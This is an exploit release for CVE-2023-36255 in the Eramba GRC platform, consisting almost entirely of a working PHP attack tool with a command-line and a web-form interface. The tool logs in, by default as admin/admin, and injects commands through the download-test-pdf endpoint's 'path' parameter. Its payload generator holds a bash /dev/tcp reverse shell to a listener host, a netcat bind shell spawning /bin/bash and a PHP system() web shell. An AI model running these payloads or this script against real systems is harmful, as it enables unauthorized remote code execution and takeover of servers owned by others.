📄 Eramba GRC 3.19.1 Command Injection

=============================================================================================================================================
    | # Title     : Eramba GRC platform 3.19.1 Command injection in download-test-pdf endpoint                                                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.eramba.org/                                                                                                     |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/190048/ & CVE-2023-36255
    
    [+] Summary : 
    
                 Critical authenticated remote code execution vulnerability in Eramba GRC platform (versions up to 3.19.1) 
    			 allowing command injection through the download-test-pdf endpoint when debug mode is enabled.
     
    [+]  POC : 
    
    php poc.php  or http://127.0.0.1/poc.php 
    
    <?php
    /*
     * by : indoushka based on Metasploit module
     */
    
    class ErambaExploit {
        private $target;
        private $port;
        private $ssl;
        private $base_path;
        private $timeout;
        private $cookies;
        private $username;
        private $password;
        
        public function __construct($target, $port = 8443, $ssl = true, $base_path = '/', $username = 'admin', $password = 'admin') {
            $this->target = $target;
            $this->port = $port;
            $this->ssl = $ssl;
            $this->base_path = rtrim($base_path, '/');
            $this->timeout = 30;
            $this->cookies = [];
            $this->username = $username;
            $this->password = $password;
        }
        
        /**
         * Check if target is vulnerable
         */
        public function check() {
            echo "[*] Checking Eramba vulnerability...\n";
            
            $res = $this->send_request('/login', 'GET');
            
            if (!$res || $res['code'] != 200) {
                echo "[-] Failed to access login page\n";
                return "unknown";
            }
            
            // Extract version from HTML
            $version = $this->extract_version($res['body']);
            if (!$version) {
                echo "[-] Could not determine Eramba version\n";
                return "unknown";
            }
            
            echo "[*] Detected Eramba version: $version\n";
            
            // Check if debug mode is enabled
            $debug_enabled = $this->check_debug_mode($res['body']);
            if (!$debug_enabled) {
                echo "[-] Debug mode is not enabled - target is not vulnerable\n";
                return "safe";
            }
            
            echo "[+] Debug mode is enabled\n";
            
            // Check version against vulnerable range
            if ($this->is_version_vulnerable($version)) {
                echo "[+] ✓ Eramba version $version is vulnerable\n";
                return "vulnerable";
            } else {
                echo "[-] Eramba version $version is not affected\n";
                return "safe";
            }
        }
        
        /**
         * Extract version from HTML
         */
        private function extract_version($html) {
            // Look for version pattern: <p>App version <strong>X.X.X</strong>
            if (preg_match('/App version\s*<strong>([0-9]+\.[0-9]+\.[0-9]+)<\/strong>/i', $html, $matches)) {
                return $matches[1];
            }
            return null;
        }
        
        /**
         * Check if debug mode is enabled
         */
        private function check_debug_mode($html) {
            // Look for debug token field
            return strpos($html, 'name="_Token[debug]"') !== false;
        }
        
        /**
         * Check if version is vulnerable
         */
        private function is_version_vulnerable($version) {
            $version_parts = explode('.', $version);
            $major = intval($version_parts[0]);
            $minor = intval($version_parts[1]);
            $patch = intval($version_parts[2]);
            
            // Vulnerable: versions up to 3.19.1
            if ($major < 3) return true;
            if ($major == 3) {
                if ($minor < 19) return true;
                if ($minor == 19 && $patch <= 1) return true;
            }
            return false;
        }
        
        /**
         * Login to Eramba
         */
        private function login() {
            echo "[*] Attempting to login...\n";
            
            // First GET request to get tokens
            $res = $this->send_request('/login', 'GET', [], null, [], true);
            
            if (!$res || $res['code'] != 200) {
                echo "[-] Failed to access login page\n";
                return false;
            }
            
            // Extract CSRF and token fields
            $tokens = $this->extract_tokens($res['body']);
            if (!$tokens) {
                echo "[-] Could not extract authentication tokens\n";
                return false;
            }
            
            echo "[*] Extracted CSRF token and form tokens\n";
            
            // Perform login
            $login_data = [
                '_csrfToken' => $tokens['csrf'],
                'login' => $this->username,
                'password' => $this->password,
                '_Token[fields]' => $tokens['fields'],
                '_Token[unlocked]' => $tokens['unlocked'],
                '_Token[debug]' => $tokens['debug']
            ];
            
            $res = $this->send_request('/login', 'POST', [], http_build_query($login_data), [
                'Content-Type: application/x-www-form-urlencoded'
            ], true);
            
            if (!$res || $res['code'] != 200) {
                echo "[-] Login failed - invalid credentials or server error\n";
                return false;
            }
            
            // Check if login was successful by looking for dashboard
            if (strpos($res['body'], 'Landing Dashboard') !== false) {
                echo "[+] Successfully logged in as {$this->username}\n";
                return true;
            } else {
                echo "[-] Login failed - check credentials\n";
                return false;
            }
        }
        
        /**
         * Extract tokens from HTML form
         */
        private function extract_tokens($html) {
            $tokens = [];
            
            // Extract CSRF token
            if (preg_match('/name="_csrfToken"\s+value="([^"]+)"/', $html, $matches)) {
                $tokens['csrf'] = $matches[1];
            }
            
            // Extract token fields
            if (preg_match('/name="_Token\[fields\]"\s+value="([^"]+)"/', $html, $matches)) {
                $tokens['fields'] = $matches[1];
            }
            
            // Extract token unlocked
            if (preg_match('/name="_Token\[unlocked\]"\s+value="([^"]+)"/', $html, $matches)) {
                $tokens['unlocked'] = $matches[1];
            }
            
            // Extract token debug
            if (preg_match('/name="_Token\[debug\]"\s+value="([^"]+)"/', $html, $matches)) {
                $tokens['debug'] = $matches[1];
            }
            
            if (count($tokens) == 4) {
                return $tokens;
            }
            
            return false;
        }
        
        /**
         * Execute the exploit
         */
        public function exploit($payload_type = 'reverse_shell', $lhost = null, $lport = null) {
            echo "[*] Starting Eramba exploitation...\n";
            
            // Step 1: Login
            if (!$this->login()) {
                echo "[-] Authentication failed\n";
                return false;
            }
            
            // Step 2: Generate payload
            $payload = $this->generate_payload($payload_type, $lhost, $lport);
            if (!$payload) {
                echo "[-] Failed to generate payload\n";
                return false;
            }
            
            echo "[*] Generated payload: " . htmlspecialchars($payload) . "\n";
            
            // Step 3: Execute via download-test-pdf endpoint
            echo "[*] Executing payload via download-test-pdf endpoint...\n";
            
            $res = $this->send_request('/settings/download-test-pdf', 'GET', [
                'path' => $payload
            ]);
            
            if ($res) {
                echo "[+] ✓ Payload sent successfully\n";
                echo "[*] Check your listener for connection\n";
                return true;
            } else {
                echo "[-] Failed to execute payload\n";
                return false;
            }
        }
        
        /**
         * Generate payload commands
         */
        private function generate_payload($type, $lhost, $lport) {
            switch ($type) {
                case 'reverse_shell':
                    if (!$lhost || !$lport) {
                        echo "[-] IP and port required for reverse shell\n";
                        return false;
                    }
                    // Bash reverse shell
                    return "bash -c 'bash -i >& /dev/tcp/{$lhost}/{$lport} 0>&1'";
                    
                case 'bind_shell':
                    if (!$lport) {
                        echo "[-] Port required for bind shell\n";
                        return false;
                    }
                    return "nc -lvp {$lport} -e /bin/bash";
                    
                case 'command':
                    return 'id; whoami; uname -a; pwd';
                    
                case 'web_shell':
                    // This would create a web shell file
                    $filename = $this->random_text(8) . '.php';
                    $web_shell = '<?php if(isset($_REQUEST["cmd"])){ system($_REQUEST["cmd"]); } ?>';
                    return "echo '{$web_shell}' > /tmp/{$filename}";
                    
                default:
                    return 'id; whoami; hostname';
            }
        }
        
        /**
         * Send HTTP request
         */
        private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = [], $save_cookies = false) {
            $url = $this->build_url($path);
            
            if ($method == 'GET' && !empty($params)) {
                $url .= '?' . http_build_query($params);
            }
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
                CURLOPT_HEADER => true,
                CURLOPT_CUSTOMREQUEST => $method,
                CURLOPT_FOLLOWLOCATION => false
            ]);
            
            // Add POST data if provided
            if ($method == 'POST' && $data) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
            }
            
            // Build headers
            $headers = array_merge([
                'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
            ], $custom_headers);
            
            // Add cookies if available
            $cookie_header = $this->build_cookie_header();
            if ($cookie_header) {
                $headers[] = $cookie_header;
            }
            
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            
            // Save cookies if requested
            if ($save_cookies && $response) {
                $this->extract_cookies($response);
            }
            
            curl_close($ch);
            
            if ($response) {
                $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
                $headers = substr($response, 0, $header_size);
                $body = substr($response, $header_size);
                
                return [
                    'code' => $http_code,
                    'headers' => $headers,
                    'body' => $body
                ];
            }
            
            return false;
        }
        
        /**
         * Extract cookies from response headers
         */
        private function extract_cookies($response) {
            if (preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response, $matches)) {
                for ($i = 0; $i < count($matches[1]); $i++) {
                    $this->cookies[trim($matches[1][$i])] = $matches[2][$i];
                }
            }
        }
        
        /**
         * Build cookie header from stored cookies
         */
        private function build_cookie_header() {
            if (empty($this->cookies)) {
                return null;
            }
            
            $cookie_parts = [];
            foreach ($this->cookies as $name => $value) {
                $cookie_parts[] = "{$name}={$value}";
            }
            
            return 'Cookie: ' . implode('; ', $cookie_parts);
        }
        
        /**
         * Generate random text
         */
        private function random_text($length = 8) {
            $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
            $result = '';
            for ($i = 0; $i < $length; $i++) {
                $result .= $chars[rand(0, strlen($chars) - 1)];
            }
            return $result;
        }
        
        /**
         * Build full URL
         */
        private function build_url($path) {
            $protocol = $this->ssl ? 'https' : 'http';
            $full_path = $this->base_path . $path;
            return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
        }
    }
    
    // CLI Interface
    if (php_sapi_name() === 'cli') {
        echo "
        ╔══════════════════════════════════════════════════════════════╗
        ║                   Eramba RCE Exploit                        ║
        ║                      CVE-2023-36255                         ║
        ║                     PHP Implementation                      ║
        ╚══════════════════════════════════════════════════════════════╝
        
        \n";
        
        $options = getopt("t:p:s:u:U:P:cL:H:", [
            "target:",
            "port:",
            "ssl",
            "uri:",
            "username:",
            "password:",
            "check",
            "lhost:",
            "lport:"
        ]);
        
        $target = $options['t'] ?? $options['target'] ?? null;
        $port = $options['p'] ?? $options['port'] ?? 8443;
        $ssl = isset($options['s']) || isset($options['ssl']);
        $base_uri = $options['u'] ?? $options['uri'] ?? '/';
        $username = $options['U'] ?? $options['username'] ?? 'admin';
        $password = $options['P'] ?? $options['password'] ?? 'admin';
        $check_only = isset($options['c']) || isset($options['check']);
        $lhost = $options['H'] ?? $options['lhost'] ?? null;
        $lport = $options['L'] ?? $options['lport'] ?? 4444;
        
        if (!$target) {
            echo "Usage: php eramba_exploit.php [options]\n";
            echo "Options:\n";
            echo "  -t, --target      Target host (required)\n";
            echo "  -p, --port        Target port (default: 8443)\n";
            echo "  -s, --ssl         Use SSL (default: true)\n";
            echo "  -u, --uri         Base URI path (default: /)\n";
            echo "  -U, --username    Username (default: admin)\n";
            echo "  -P, --password    Password (default: admin)\n";
            echo "  -c, --check       Check only (don't exploit)\n";
            echo "  -H, --lhost       Listener host for reverse shell\n";
            echo "  -L, --lport       Listener port for reverse shell (default: 4444)\n";
            echo "\nExamples:\n";
            echo "  php eramba_exploit.php -t 192.168.1.100 -c\n";
            echo "  php eramba_exploit.php -t eramba.company.com -U admin -P password -H 10.0.0.5 -L 4444\n";
            exit(1);
        }
        
        $exploit = new ErambaExploit($target, $port, $ssl, $base_uri, $username, $password);
        
        if ($check_only) {
            $result = $exploit->check();
            echo "\n[*] Result: {$result}\n";
        } else {
            if ($exploit->exploit('reverse_shell', $lhost, $lport)) {
                echo "[+] Exploitation completed successfully\n";
            } else {
                echo "[-] Exploitation failed\n";
            }
        }
        
    } else {
        // Web Interface
        $action = $_POST['action'] ?? '';
        
        if ($action === 'check' || $action === 'exploit') {
            $target = $_POST['target'] ?? '';
            $port = $_POST['port'] ?? 8443;
            $ssl = isset($_POST['ssl']);
            $base_uri = $_POST['uri'] ?? '/';
            $username = $_POST['username'] ?? 'admin';
            $password = $_POST['password'] ?? 'admin';
            $payload_type = $_POST['payload_type'] ?? 'command';
            $lhost = $_POST['lhost'] ?? '';
            $lport = $_POST['lport'] ?? 4444;
            
            if (empty($target)) {
                echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
            } else {
                $exploit = new ErambaExploit($target, $port, $ssl, $base_uri, $username, $password);
                
                ob_start();
                if ($action === 'check') {
                    $exploit->check();
                } else {
                    $exploit->exploit($payload_type, $lhost, $lport);
                }
                $output = ob_get_clean();
                
                echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
            }
            
            echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
            
        } else {
            // Display the form
            echo '<!DOCTYPE html>
            <html>
            <head>
                <title>Eramba RCE Exploit - CVE-2023-36255</title>
                <meta charset="UTF-8">
                <style>
                    body { 
                        font-family: Arial, sans-serif; 
                        margin: 0; 
                        padding: 20px; 
                        background: #f5f5f5;
                    }
                    .container { 
                        max-width: 800px; 
                        margin: 0 auto; 
                        background: white;
                        padding: 30px;
                        border-radius: 8px;
                        box-shadow: 0 2px 10px rgba(0,0,0,0.1);
                    }
                    h1 { 
                        color: #333; 
                        border-bottom: 2px solid #007cba;
                        padding-bottom: 10px;
                    }
                    h3 {
                        color: #666;
                    }
                    .form-group { 
                        margin-bottom: 20px; 
                    }
                    label { 
                        display: block; 
                        margin-bottom: 8px; 
                        font-weight: bold;
                        color: #333;
                    }
                    input[type="text"], input[type="password"], select { 
                        width: 100%; 
                        padding: 10px; 
                        border: 1px solid #ddd; 
                        border-radius: 4px; 
                        box-sizing: border-box;
                        font-size: 14px;
                    }
                    .checkbox-group {
                        display: flex;
                        align-items: center;
                        gap: 10px;
                    }
                    button { 
                        background: #007cba; 
                        color: white; 
                        padding: 12px 25px; 
                        border: none; 
                        border-radius: 4px; 
                        cursor: pointer; 
                        margin-right: 10px;
                        font-size: 16px;
                        transition: background 0.3s;
                    }
                    button:hover {
                        background: #005a87;
                    }
                    .danger { 
                        background: #dc3545; 
                    }
                    .danger:hover {
                        background: #c82333;
                    }
                    .info { 
                        background: #17a2b8; 
                    }
                    .info:hover {
                        background: #138496;
                    }
                    .warning-box {
                        background: #fff3cd;
                        border: 1px solid #ffeaa7;
                        color: #856404;
                        padding: 15px;
                        border-radius: 4px;
                        margin: 20px 0;
                    }
                    .info-box {
                        background: #d1ecf1;
                        border: 1px solid #bee5eb;
                        color: #0c5460;
                        padding: 15px;
                        border-radius: 4px;
                        margin: 20px 0;
                    }
                </style>
            </head>
            <body>
                <div class="container">
                    <h1>Eramba RCE Exploit</h1>
                    <h3>CVE-2023-36255 - Authenticated Remote Code Execution</h3>
                    
                    <div class="warning-box">
                        <strong>⚠️ Educational Use Only:</strong> This tool demonstrates a critical vulnerability in Eramba.
                        Use only on systems you own or have explicit permission to test.
                    </div>
                    
                    <form method="post">
                        <div class="form-group">
                            <label for="target">Target Host:</label>
                            <input type="text" id="target" name="target" placeholder="192.168.1.100 or eramba.company.com" required>
                        </div>
                        
                        <div class="form-group">
                            <label for="port">Port:</label>
                            <input type="text" id="port" name="port" value="8443">
                        </div>
                        
                        <div class="form-group">
                            <label for="uri">Base URI:</label>
                            <input type="text" id="uri" name="uri" value="/">
                        </div>
                        
                        <div class="form-group">
                            <div class="checkbox-group">
                                <input type="checkbox" id="ssl" name="ssl" checked>
                                <label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label for="username">Username:</label>
                            <input type="text" id="username" name="username" value="admin" required>
                        </div>
                        
                        <div class="form-group">
                            <label for="password">Password:</label>
                            <input type="password" id="password" name="password" value="admin" required>
                        </div>
                        
                        <div class="form-group">
                            <label for="payload_type">Payload Type:</label>
                            <select id="payload_type" name="payload_type">
                                <option value="command">Test Command</option>
                                <option value="reverse_shell">Reverse Shell</option>
                                <option value="bind_shell">Bind Shell</option>
                                <option value="web_shell">Web Shell</option>
                            </select>
                        </div>
                        
                        <div class="form-group">
                            <label for="lhost">Listener Host (for reverse shell):</label>
                            <input type="text" id="lhost" name="lhost" placeholder="Your IP address: 192.168.1.100">
                        </div>
                        
                        <div class="form-group">
                            <label for="lport">Listener Port (for reverse shell):</label>
                            <input type="text" id="lport" name="lport" value="4444">
                        </div>
                        
                        <button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
                        <button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
                    </form>
                    
                    <div class="info-box">
                        <h3>About CVE-2023-36255:</h3>
                        <p><strong>Vulnerability:</strong> Command injection in download-test-pdf endpoint</p>
                        <p><strong>Affected Versions:</strong> Eramba up to 3.19.1</p>
                        <p><strong>Prerequisites:</strong> Debug mode must be enabled</p>
                        <p><strong>Authentication:</strong> Requires valid user credentials</p>
                        <p><strong>Endpoint:</strong> /settings/download-test-pdf</p>
                        <p><strong>Parameter:</strong> path (command injection)</p>
                        <p><strong>Impact:</strong> Authenticated Remote Code Execution</p>
                    </div>
                </div>
            </body>
            </html>';
        }
    }
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================